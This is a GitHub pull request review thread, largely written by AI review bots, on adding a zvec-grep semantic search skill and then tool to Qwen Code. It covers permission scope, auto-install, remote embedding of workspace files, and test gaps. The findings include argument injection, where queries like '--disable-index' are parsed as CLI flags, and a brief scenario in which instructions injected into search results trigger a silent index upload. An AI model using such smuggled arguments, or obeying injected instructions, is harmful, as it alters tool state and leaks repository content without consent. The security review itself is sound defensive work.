zg "auth decision flow" --fts "AuthService" --prefer-symbol --include "src/**"

— qwen3.7-max via Qwen Code /review

For code searches, `--symbol-type` can narrow results to indexed symbols such
as `module`, `class`, `interface`, `function`, `value`, or `alias`. Repeat it
for multiple symbol types; add `--prefer-symbol` when a symbol-like anchor
should rank ahead of surrounding text.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] These two --symbol-type examples are the only zg commands in the file that omit --exclude, contradicting the guidance on lines 60-62 to exclude dependencies and build output. Agent following these verbatim will get noisy results from node_modules/, dist/, etc.

Suggested change
should rank ahead of surrounding text.
zg "request validation function" "parse options helper" --symbol-type function --include "src/**,packages/**" --exclude "node_modules/**,dist/**"
zg "plugin lifecycle interface" "provider registry class" --symbol-type interface --symbol-type class --include "src/**,docs/**" --exclude "node_modules/**,dist/**"

— qwen3.7-max via Qwen Code /review

zg "enterprise plan data retention policy" "audit log export availability" --include "docs/**,handbook/**,*.md" --exclude "archive/**,vendor/**"
zg "background job retry backoff setting" "queue worker concurrency option" --include "src/**,config/**,docs/**" --exclude "dist/**,node_modules/**,build/**" --limit 15
zg "OAuth token refresh endpoint" "rate limit headers in API response" --include "docs/**,api/**,openapi/**" --exclude "generated/**,vendor/**"
```

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] --fts appears in two examples but is never explained. The agent has no basis for choosing --fts "AuthService" over simply adding AuthService as a third positional query string. Consider adding one sentence explaining what --fts does, e.g., "adds a full-text-search boost that ranks results containing these exact tokens higher."

— qwen3.7-max via Qwen Code /review

@@ -0,0 +1,80 @@
---
name: zvec-grep
description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] description and when_to_use frontmatter fields substantially overlap — both enumerate the same use cases (semantic discovery, behavior tracing, implementation flows, API questions) in slightly different words. Combined ~500 chars of near-duplicate text are injected into every prompt that lists available skills. Other skills either use only description or keep the two fields complementary.

Consider trimming description to a single sentence (e.g., "Semantic workspace search via the zg CLI for open-ended code and document discovery.") and keeping the triggering/skip criteria only in when_to_use.

— qwen3.7-max via Qwen Code /review

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No new review findings beyond the 9 existing inline comments — the prior reviewers have thorough coverage. Downgraded from Approve to Comment: CI still running.

— qwen3.7-max via Qwen Code /review

Use `zg` when it is already installed and the workspace already has an index.
If setup is missing, suggest terminal commands for the user and continue with
normal available search tools for this turn. Only install, initialize, or rebuild
when the user explicitly asks.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Missing --api-key for remote embedding model

The setup command uses --embedding qwen/text-embedding-v4 (a remote model) without the required --api-key flag. The upstream @zvec/zvec-grep package's own SKILL.md shows --api-key "$DASHSCOPE_API_KEY" alongside this model. Without it, zg --init will fail with an authentication error.

Suggested change
when the user explicitly asks.
zg --init --embedding qwen/text-embedding-v4 --api-key "$DASHSCOPE_API_KEY" --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"

Alternatively, consider using a local embedding model (e.g., local/embeddinggemma-300m) that requires no API key.

— qwen3.7-max via Qwen Code /review

If setup is missing, suggest terminal commands for the user and continue with
normal available search tools for this turn. Only install, initialize, or rebuild
when the user explicitly asks.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] --exclude omits sensitive file patterns

zg --init sends all matched file contents to a remote embedding API. The default --exclude patterns (node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**) do not exclude sensitive files like .env*, *.pem, *.key, secrets/**, or credentials/**. Users following the setup verbatim may unknowingly transmit sensitive files to the external API.

Suggested change
zg --init --embedding qwen/text-embedding-v4 --api-key "$DASHSCOPE_API_KEY" --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**,.env*,**/*.pem,**/*.key,**/secrets.*"

— qwen3.7-max via Qwen Code /review


Use `zg` when it is already installed and the workspace already has an index.
If setup is missing, suggest terminal commands for the user and continue with
normal available search tools for this turn. Only install, initialize, or rebuild

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] No version pin for pre-1.0 CLI dependency

npm install -g @zvec/zvec-grep installs latest (currently 0.1.2). All three published versions are pre-1.0, so any documented CLI flag (--fts, --symbol-type, --prefer-symbol, etc.) could change in any release without a semver major bump.

Suggested change
normal available search tools for this turn. Only install, initialize, or rebuild
npm install -g @zvec/zvec-grep@0.1.2

— qwen3.7-max via Qwen Code /review

@@ -0,0 +1,87 @@
---
name: zvec-grep
description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] description contains behavioral directives toward grep_search that load into every system prompt

The description says "use zvec-grep before native grep_search" and "Use grep_search mainly for..." — these are instructions altering how the model uses a different tool, rendered in the <available_skills> block of every prompt regardless of whether this skill is invoked. No other bundled skill does this. This may cause the model to invoke zvec-grep as a prerequisite before every grep_search call, adding wasted turns when zg isn't installed.

Consider moving the ordering directives into the skill body (where they are only visible when invoked) and keeping description as a factual summary, e.g.:

Suggested change
description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup.
description: Semantic workspace search via the `zg` CLI for open-ended code and document discovery when exact keywords, symbols, or files are unknown. Best for behavior tracing, implementation flows, API questions, architecture, and fuzzy discovery.

— qwen3.7-max via Qwen Code /review

when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup.
argument-hint: '[setup|query]'
allowedTools:
- Bash(zg *)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Bash(zg *) auto-approves every zg subcommand when the skill is invoked, but the skill body later says installs, init, and rebuilds should only happen when the user explicitly asks. The upstream CLI includes mutating commands such as zg --init, zg --init --rebuild, zg --collections index, and zg --collections remove, so this allow rule lets a mistaken model action bypass the very confirmation boundary the skill is trying to establish. Please remove this grant, or wait for a narrower permission pattern that can allow read-only query commands without allowing index creation/rebuild/removal.

— GPT-5 via Qwen Code /review

A typical search uses one to three related queries:

```bash
zg "login request authentication middleware" "session token refresh path" --include "src/**,packages/**" --exclude "tests/**,fixtures/**,dist/**,node_modules/**"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Normal zg queries refresh stale anonymous indexes by default, and this skill's setup path uses the remote qwen/text-embedding-v4 embedding model. That means a routine search can read newly changed workspace files and send their fragments to the remote embedding provider even though the user only asked to search and did not explicitly request indexing or rebuilding. Please make routine query guidance use --no-auto-update, or require an explicit user opt-in before allowing searches that may refresh a remote-backed index.

Suggested change
zg "login request authentication middleware" "session token refresh path" --include "src/**,packages/**" --exclude "tests/**,fixtures/**,dist/**,node_modules/**"
zg "login request authentication middleware" "session token refresh path" --no-auto-update --include "src/**,packages/**" --exclude "tests/**,fixtures/**,dist/**,node_modules/**"

— GPT-5 via Qwen Code /review

zg "OAuth token refresh endpoint" "rate limit headers in API response" --include "docs/**,api/**,openapi/**" --exclude "generated/**,vendor/**"
```

Add `--fts` when exact anchors are known, such as symbols, enum members, flags,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The examples encourage semantic query text plus exact anchors, but the setup command points users at a remote embedding model. Agents may paste secrets, customer identifiers, or private incident/error payloads into those semantic queries, which sends that text to the embedding provider. Please add a privacy guard telling agents to use local grep_search or a local embedding model for sensitive anchors, and to avoid putting secrets/PII/customer data into remote-backed semantic queries.

Suggested change
Add `--fts` when exact anchors are known, such as symbols, enum members, flags,
Before sending semantic queries to a remote-backed index, avoid secrets, PII,
customer identifiers, and private incident payloads; use local `grep_search` or
a local embedding model for sensitive exact anchors.
Add `--fts` when exact anchors are known, such as symbols, enum members, flags,
headings, or non-sensitive error strings:

— GPT-5 via Qwen Code /review

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed the skill end-to-end, including how it integrates with the skill loader, permission system, and build. The integration mechanics all check out: bundled-skill discovery and the build copy are glob-based so no registry or build change is needed, when_to_use / argument-hint / allowedTools are all supported frontmatter, the bundled-skills integration test passes on this file, and @zvec/zvec-grep on npm is published by zvec@alibaba-inc.com, so package provenance is fine.

Four inline comments. The two substantive ones:

  1. allowedTools: Bash(zg *) (line 7) — once the skill is invoked, this becomes a session-wide auto-approve that also covers zg --init / --rebuild (workspace contents → remote embedding API), which silently voids the body's "only when the user explicitly asks" guardrail.
  2. Default exposure (line 3) — the skill is advertised to every session and tells the model to prefer zg over grep_search, but zg won't be installed on most users' machines; that's a wasted skill load plus a failed shell call on common open-ended questions.

The other two: the setup command is missing the --api-key step its upstream README shows (plus a privacy note / local-model option), and the query examples filter on paths the suggested index never contains.

🤖 Generated with Claude Code — Claude Fable 5

when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup.
argument-hint: '[setup|query]'
allowedTools:
- Bash(zg *)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This entry has a bigger effect than the prose suggests: allowedTools is applied via applySkillAllowedToolsPermissionManager.addSessionAllowRule when the skill is invoked (both the slash-command path in BundledSkillLoader and the model-invoked Skill tool do this), so after one activation every zg invocation is auto-approved for the rest of the session — including zg --init / --rebuild, which read workspace files and upload their contents to the remote embedding API.

That leaves the guardrail below ("Only install, initialize, or rebuild when the user explicitly asks", lines 25–26) with no permission-layer backing: in default approval mode the user never sees a prompt, so a model mistake — or an injected instruction inside search results — can trigger an index build/upload silently. Allow rules can't express "zg except --init", so I'd drop this grant and let the normal shell-permission flow handle zg (users can still choose "always allow" on first use).

If it stays, please use the native tool name run_shell_command(zg *) like the other bundled skills — the Bash(...) spelling only works through the Claude Code compatibility alias in rule-parser.ts.

@@ -0,0 +1,87 @@
---
name: zvec-grep
description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bundled skills are model-invocable and advertised in every session by default (there's no availability check, and only the skills.disabled setting opts out), so this description tells the model to reach for zg before the built-in grep_search on all open-ended questions — for every qwen-code user, while zg is installed on almost none of their machines. On a default install the likely steady state is: a skill load plus a failed zg run (command not found / no index) on every "how does X work" question, then fallback to grep_search, plus recurring nudges to globally install a third-party package (currently v0.1.x, published a few days ago).

Suggestions: ship with disable-model-invocation: true so it's opt-in via /zvec-grep until the tool matures, or at minimum reword the description so it doesn't claim priority over grep_search unconditionally (e.g. "when zg is installed and the workspace is indexed, use it before grep_search…").


```bash
npm install -g @zvec/zvec-grep
zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Two gaps compared with the upstream README:

  1. qwen/text-embedding-v4 is a remote DashScope model, and the README's own init example passes --api-key "$DASHSCOPE_API_KEY". As written this command fails in any environment without credentials, and the skill gives the agent no hint that the fix is auth — the likely failure mode is the model re-suggesting the same broken command, or looping on "refine the query" advice against a missing index.
  2. There's no mention that remote embedding sends workspace file contents to a cloud API, nor of the local models the README lists (local/qwen3-embedding-0.6b, local/embeddinggemma-300m) for users who don't want code leaving the machine.

Suggest adding the api-key step, a one-line privacy note, and the local-model alternative.


```bash
zg "request permission check before handler" "policy object maps roles to actions" --include "src/**,packages/**" --exclude "tests/**,fixtures/**,dist/**,node_modules/**"
zg "enterprise plan data retention policy" "audit log export availability" --include "docs/**,handbook/**,*.md" --exclude "archive/**,vendor/**"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor: these examples --include paths that the suggested init command above never indexes (handbook/**, config/**, api/**, openapi/**). Semantic search can only return what's in the index, so an agent following both verbatim gets zero results and may conclude "no evidence exists" — this doc's own use case — when the paths simply weren't indexed. Worth aligning the examples with the init filters, or adding a sentence that empty results for paths outside the index are inconclusive (check index coverage before concluding absence).

@zhourrr
zhourrr force-pushed the feat/zvec-grep-skill branch from 0114b09 to a53fda7 Compare July 9, 2026 06:47
@github-actions

github-actions Bot commented Jul 9, 2026

Copy link
Copy Markdown
Contributor

Please do not rebase or force-push to an active PR as it invalidates existing review comments. Note for future reference, the bots always squash all changes into a single commit automatically as part of the integration.

中文

请勿对活跃的 PR 执行 rebase 或 force-push,因为这会使已有的评审评论失效。另外,供日后参考:作为集成流程的一部分,机器人始终会自动将所有改动压缩(squash)为单个提交。

@zhourrr zhourrr changed the title feat(skills): add zvec-grep bundled skill feat(tool): add opt-in zvec-grep search tool Jul 9, 2026
@zhourrr

zhourrr commented Jul 9, 2026

Copy link
Copy Markdown
Author

Thanks for the earlier reviews, and sorry for the force-push churn. I reworked the PR substantially based on the concerns raised.

This is no longer a bundled skill PR. The bundled skill and setup docs were removed. The current patch adds an opt-in built-in search tool instead:

  • disabled by default; users enable it explicitly with tools.zvecGrep.enabled, preferably at workspace scope, because indexing is workspace-specific and not every workspace should pay the setup/storage/API cost
  • exposes only semantic and rg search modes to the model
  • no allowedTools: Bash(zg *) grant, so the previous session-wide auto-approval / command-substitution concern no longer applies
  • no copy-paste setup docs with remote embedding or API-key guidance in this PR
  • the tool handles missing zvec-grep, missing credentials/index, background indexing, and lexical fallback internally
  • if disabled, the tool is not registered

Given the redesign, most earlier inline comments refer to removed SKILL.md content. Please re-review the current one-commit diff when you get a chance, thanks!

});
}

function installZvecGrep(signal: AbortSignal): Promise<ZgCommandResult> {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Silent auto-install of zg without user consent

When zg is not found on PATH, runZg silently calls installZvecGrep which runs npm install -g @zvec/zvec-grep@0.1.4 --registry https://registry.npmmirror.com. This happens without any permission prompt, notification, or opt-out mechanism.

This contradicts the PR description ("does not perform install/init/rebuild unless explicitly asked") and introduces supply-chain risk: the full process.env (including API keys like DASHSCOPE_API_KEY, QWEN_API_KEY) is forwarded to the npm subprocess and any postinstall scripts it runs.

Additionally, the hardcoded registry npmmirror.com is inaccessible or slow for users outside China.

Suggested fix: Remove the auto-install logic entirely. If zg is not found, return a clear error message suggesting manual installation. If auto-install must be kept: (1) require explicit user confirmation via the permission system, (2) respect the user's configured npm registry, (3) construct a minimal environment for the npm subprocess instead of forwarding all secrets.

— qwen3.7-max via Qwen Code /review

Comment thread packages/core/src/tools/zvec-grep.ts Outdated

function buildSearchArgs(params: ZvecGrepParams): string[] {
const searchQuery = getSearchQuery(params);
const args = searchQuery ? [searchQuery] : [];

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Argument injection via search query — missing -- end-of-options

The user-controlled search query is passed as a bare positional argument without a -- separator. A crafted query like --index, --status, or --embedding local/evil would be interpreted as a CLI flag by the zg binary.

This affects both buildSearchArgs (line 285: const args = searchQuery ? [searchQuery] : []) and buildGrepArgs (line 295: args.push(searchQuery)).

Suggested change
const args = searchQuery ? [searchQuery] : [];
const args = searchQuery ? ['--', searchQuery] : [];

Apply the same fix to buildGrepArgs:

Suggested change
const args = searchQuery ? [searchQuery] : [];
if (searchQuery) {
args.push('--', searchQuery);
}

— qwen3.7-max via Qwen Code /review

Comment thread packages/core/src/tools/zvec-grep.ts Outdated

function buildIndexArgs(params: ZvecGrepParams): string[] {
const args = ['--index', '--embedding', getIndexEmbeddingModel()];
addScopeArgs(args, params);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Background index scoped to first query's narrow scope

buildIndexArgs calls addScopeArgs(args, params), which adds --include/--exclude from the current query's path/paths/glob/exclude. Since the job key is per-cwd (one index per workspace), a narrowly-scoped first query builds an incomplete index.

A later broader semantic query sees the index as "ready" but it only covers the original narrow scope — silently returning incomplete results.

Suggested fix: Build the background index without scope args (index the full workspace), or store the scope in the job file and re-index when a broader scope is requested.

— qwen3.7-max via Qwen Code /review

zvecGrepInstalledInProcess = true;
}
if (result.error === 'aborted') {
zvecGrepInstallPromise = undefined;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Install promise cached permanently on non-aborted failure

The promise is only reset when result.error === 'aborted'. All other failure modes (network error, EPERM, registry unreachable, disk full) permanently cache the failed promise. Every subsequent runZg call reuses the same stale failure without retrying.

A transient install failure (e.g., network blip, mirror maintenance) permanently breaks auto-install for the rest of the process lifetime. The user must restart the CLI to retry.

Suggested change
zvecGrepInstallPromise = undefined;
zvecGrepInstallPromise = undefined;

Reset on all failures, not just 'aborted'. The caching intent (prevent parallel installs) can be preserved by keeping the promise set only while the install is actively in-flight.

— qwen3.7-max via Qwen Code /review

);
}

protected override validateToolParamValues(

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] validateToolParamValues has zero test coverage

This 45-line validation method defines the tool's input contract (operation, query/pattern, path, limit, glob, paths, exclude), but no test verifies rejection of invalid inputs: wrong operation value, empty query/pattern, non-integer or negative limit, malformed paths, or type errors in arrays.

Validation bugs here either reject valid inputs (breaking the tool) or accept invalid ones (causing cryptic downstream errors). This is the primary interface boundary and should have explicit test coverage.

Suggested fix: Add tests for each validation branch — invalid operation, whitespace-only query, negative limit, float limit, empty path, empty glob, non-string in paths/exclude arrays.

— qwen3.7-max via Qwen Code /review

'QWEN_API_KEY',
] as const;
const BACKGROUND_JOB_DIR = path.join(os.tmpdir(), 'qwen-zvec-grep-index');
const ZG_OUTPUT_LIMIT = 20_000_000;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Timeout, abort signal, and output truncation paths are untested

Three critical safety mechanisms have zero test coverage:

  • Timeout (ZG_RUN_TIMEOUT_MS = 10_000, ZG_INSTALL_TIMEOUT_MS = 120_000): No test verifies that timed-out child processes are killed and produce the expected error format.
  • Abort signal: Both runZgOnce and runInstallZvecGrep check signal.aborted and register abort listeners, but no test exercises either the pre-aborted or mid-execution abort path.
  • Output truncation (ZG_OUTPUT_LIMIT = 20_000_000): No test verifies that oversized output is truncated or that the truncation notice is appended.

If any of these fail silently, the tool could hang indefinitely, leak processes, or flood the model with multi-megabyte outputs.

— qwen3.7-max via Qwen Code /review

@qwen-code-ci-bot

qwen-code-ci-bot commented Jul 9, 2026

Copy link
Copy Markdown
Collaborator

Suggestions — commit b5933c3

File Issue Suggested fix
zvec-grep.ts:904 extractResultFilePaths calls fs.existsSync before Set dedup check — redundant stat syscalls on large outputs Add !paths.has(candidate) guard before fs.existsSync
zvec-grep.test.ts Test coverage gaps: semantic-fails-then-rg-fallback path, background index job dedup, parsed.disabled status branch, statusLooksLocalEmbedding detection Add tests for each uncovered branch
zvec-grep.ts:346 buildSemanticFallbackQuery returns raw unescaped query when all tokens filtered — rg interprets metacharacters as regex return \(?i)${escapeRgRegex(query)}``
zvec-grep.ts:611,775 runInstallZvecGrep and runZgOnce share ~120 lines of structural duplication (spawn/collect/abort/timeout) Extract shared spawnAndCollect helper
zvec-grep.ts:1089 Semantic search failure reason only in debugLogger, not in tool output — LLM sees rg results without knowing semantic failed Append diagnostic line to fallback result
zvec-grep.ts:531 Orphaned detached zg --index processes persist after parent CLI dies Write PID file so new sessions can detect/kill stale indexers
zvec-grep.ts:273 addScopeArgs merges path+glob into comma-joined --include — zg treats as union (OR), not intersection, silently broadening scope Separate path and glob args, or compose into intersected glob
zvec-grep.ts:527 Orphaned log file left in tmp when spawn throws or child.pid is falsy (cleanup handlers registered after pid check) Add try/catch around spawn to clean up log file on failure
zvec-grep.ts:583 zvecGrepPathDirs hardcodes Unix /bin suffix — npm install -g on Windows places executables in prefix dir, not bin/ subfolder Use platform-conditional suffix: process.platform === 'win32' ? '' : 'bin'
zvec-grep.ts:1130 Conflicting tool descriptions when both zvec_grep and grep_search active — RipGrepTool says "ALWAYS use Grep", ZvecGrepTool says "do not use grep_search" Update RipGrepTool description at registration to defer when zvec_grep is enabled

— qwen3.7-max via Qwen Code /review

@zhourrr

zhourrr commented Jul 10, 2026

Copy link
Copy Markdown
Author

I updated the PR description draft and included benchmark evidence here.

For context, the benchmark covered two representative codebases: one is this qwencode repository, and the other is a separate vector-search/database repository. I tested five search modes across ten code-understanding questions, with four repeated runs per question/mode, for 200 sessions total. The most stable setup was “zvec enabled with a warm index and no subagent delegation”: on the qwencode repo, average total tokens dropped from 689,891 with baseline search to 497,905; on the vector-search repo, average total tokens dropped from 391,615 to 277,438.

I also added a stricter “actual zvec usage” view, because enabling zvec does not always mean the model actually calls it. In the qwencode repo, zvec was actually called in 60/60 zvec-enabled runs, averaging 685,019 total / 242,236 uncached tokens. In the vector-search repo, zvec was actually called in 53/60 zvec-enabled runs, averaging 374,147 total / 177,876 uncached tokens. Semantic zvec usage was much cheaper than regex-only zvec usage: 553,556 vs 929,164 average total tokens on the CLI/code-agent repo, and 312,829 vs 719,059 on the vector-search repo.

I’ll include screenshots for the top-line benchmark assessment, actual-zvec token summary, answer-quality heuristic, and tool instruction-following checks. The tool-following checks were also good overall: no-agent modes had 0 agent calls, and zvec-only modes had 0 successful baseline grep_search calls.

image

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed — no blockers. Suggestion-level recommendations are in the Suggestion summary comment below.

@LaZzyMan LaZzyMan left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@zhourrr Thanks for moving this from a bundled skill toward an opt-in first-class tool. I reviewed the current head (b5933c38) and am requesting changes because several behaviors are unsafe or incorrect at the core-tool boundary.

  1. [P1] Model-controlled queries are passed to zg without an end-of-options boundary. Both semantic and rg argument builders place the query directly in argv. The pinned CLI parses values such as --index, --status, and --disable-index as options. In an isolated reproduction, zg --disable-index --limit 20 changed the workspace policy from undecided to disabled; an rg pattern of --status was also parsed as a control option instead of search text. Please place all flags before --, followed by the positional query and paths.

  2. [P1] The opt-in setting does not document automatic installation. Treating tools.zvecGrep.enabled: true as the user's one-time authorization is reasonable, and the runtime should not interrupt subsequent searches with another installation prompt. However, the current setting only says that it registers the tool. Its configuration documentation must explicitly state that first use may run npm install -g @zvec/zvec-grep@0.1.4. For scale, a clean install added 128 packages and consumed roughly 228 MB across the install prefix and cache. Once this behavior is disclosed at the opt-in boundary, the installation itself does not need another confirmation.

  3. [P1] The opt-in setting does not document automatic remote indexing. Automatic background indexing is consistent with a low-friction experience once the user has enabled the feature, so no repeated runtime prompt is required. The configuration documentation must, however, make that authorization informed: enabling the tool may launch a detached workspace index, and when DASHSCOPE_API_KEY, QWEN_API_KEY, or ZVEC_GREP_API_KEY is available, the default qwen/text-embedding-v4 path sends repository content to the remote embedding service and may incur API cost. It should also document the local-model alternative.

  4. [P1] The first scoped query can permanently produce an incomplete workspace index. buildIndexArgs() copies the current query's path, paths, glob, and exclude into the persistent index command, but the background job/index identity is only the cwd. The pinned package persists those filters. A later broader search sees a ready index but cannot find files outside the first query's scope. The background index should cover the full workspace, or its identity and expansion logic must include scope.

  5. [P2] Semantic scope composition is wider than requested. path-derived patterns and glob are combined into one --include list, while zg applies multiple includes with OR semantics. For example, path=src plus glob=**/*.ts searches src/** and every TypeScript file in the workspace, rather than TypeScript files under src.

  6. [P2] The semantic-to-rg fallback can pass an unescaped natural-language query as a regex. When token filtering removes every token, the raw query is returned. Through the actual tool adapter, the semantic query a( failed with an unclosed-group regex error, while C++ was interpreted as C+ and returned broad unrelated matches.

  7. [P2] Timeout and install lifecycle handling are not bounded. Timeout sends only SIGTERM and still waits for close, so a child that ignores the signal can hang forever. Separately, a non-abort installation failure remains cached for the rest of the Qwen Code process and cannot be retried. Please add bounded termination escalation and keep the install promise cached only while installation is in flight.

Local verification on this head: 666 related core tests and 269 CLI configuration tests passed; full build, typecheck, lint, and git diff --check passed. I also installed the pinned package in an isolated no-credential environment and exercised the real ZvecGrepTool -> zg path. The passing mocked tests do not cover the CLI contract and side effects above.

The PR body also needs to be completed against the current pull request template: Tested on, Environment, Risk & Scope, Linked Issues, and the full Chinese translation are missing. Since this is a cross-package core feature with 1,304 production lines (1,280 under packages/core/src), it also needs explicit maintainer architectural review after the blockers are fixed.

中文说明

@zhourrr 感谢将方案从 bundled skill 推进为可选的内置工具。我审查了当前 head(b5933c38),由于核心工具边界仍存在以下安全性和正确性问题,本轮请求修改:

  1. [P1] 模型生成的查询没有通过 -- 与 CLI 选项隔离。 固定版本的 zg 会把 --index--status--disable-index 等查询当成控制参数。隔离复现中,zg --disable-index --limit 20 将 workspace policy 从 undecided 改成了 disabled;rg 查询 --status 也没有作为搜索文本执行。请先放置全部选项,再追加 --、查询和路径。

  2. [P1] 可选配置没有说明会自动安装。tools.zvecGrep.enabled: true 视为用户的一次性授权是合理的,后续搜索不应再因安装弹窗而中断。但当前配置只说明会注册工具,配置文档必须明确注明首次使用可能执行 npm install -g @zvec/zvec-grep@0.1.4。作为规模参考,干净环境安装新增了 128 个包,安装目录与缓存合计约 228 MB。只要在开启配置时明确披露,自动安装本身不需要再次确认。

  3. [P1] 可选配置没有说明会自动执行远程索引。 用户开启功能后自动后台建索引符合低打扰体验,因此无需在运行时反复确认。但配置文档必须让这次授权建立在充分知情之上:开启后可能启动 detached workspace index;当环境中存在 DASHSCOPE_API_KEYQWEN_API_KEYZVEC_GREP_API_KEY 时,默认 qwen/text-embedding-v4 路径会把仓库内容发送到远程 embedding 服务,并可能产生 API 费用。文档还应说明本地模型替代方案。

  4. [P1] 第一次窄范围查询会生成永久不完整的 workspace 索引。 buildIndexArgs() 把当前查询的 pathpathsglobexclude 写入持久化索引命令,但后台任务和索引只按 cwd 标识。后续更宽的查询会看到 ready 状态,却无法找到第一次范围之外的文件。后台索引应覆盖完整 workspace,或者把 scope 纳入索引身份和扩展逻辑。

  5. [P2] 语义查询的范围组合比请求范围更宽。 path 产生的 pattern 与 glob 被放入同一个 --include 列表,而 zg 对多个 include 使用 OR。例如 path=srcglob=**/*.ts 会搜索 src/** 以及全仓所有 TypeScript 文件,而不是只搜索 src 下的 TypeScript 文件。

  6. [P2] 语义降级为 rg 时可能把未转义的自然语言当作正则。 token 全部被过滤时会直接返回原始 query。通过真实工具适配器测试,语义查询 a( 因正则括号未闭合而失败;C++ 被解释成 C+,返回了大量无关结果。

  7. [P2] 超时和安装生命周期没有可靠上界。 超时只发送一次 SIGTERM 并继续等待 close,忽略信号的子进程会永久挂起。另外,非 abort 的安装失败会在当前 Qwen Code 进程中永久缓存,无法重试。请增加有期限的强制终止,并只在安装正在进行时缓存 Promise。

当前 head 的本地验证结果:相关 core 测试 666 项、CLI 配置测试 269 项全部通过;完整 build、typecheck、lint 和 git diff --check 均通过。我还在隔离无凭证环境安装了固定版本包,并执行了真实 ZvecGrepTool -> zg 调用。现有 mock 测试通过并不能覆盖上述 CLI 契约和副作用。

PR 描述也需要按照当前模板补齐 Tested onEnvironmentRisk & ScopeLinked Issues 和完整中文翻译。该 PR 是跨 package 的核心功能,包含 1,304 行生产改动,其中 1,280 行位于 packages/core/src;修复阻塞项后仍需要 maintainer 做架构确认。

@wenshao

wenshao commented Jul 11, 2026

Copy link
Copy Markdown
Collaborator

✅ Local validation report — zvec_grep search tool

I built this PR from source and validated it locally against a live zg binary, not just the mocked test suite. Summary: it builds, typechecks, lints, and all 935 tests across the 5 affected files pass, and the compiled tool behaves correctly end-to-end. One design point is flagged for reviewer awareness at the bottom.

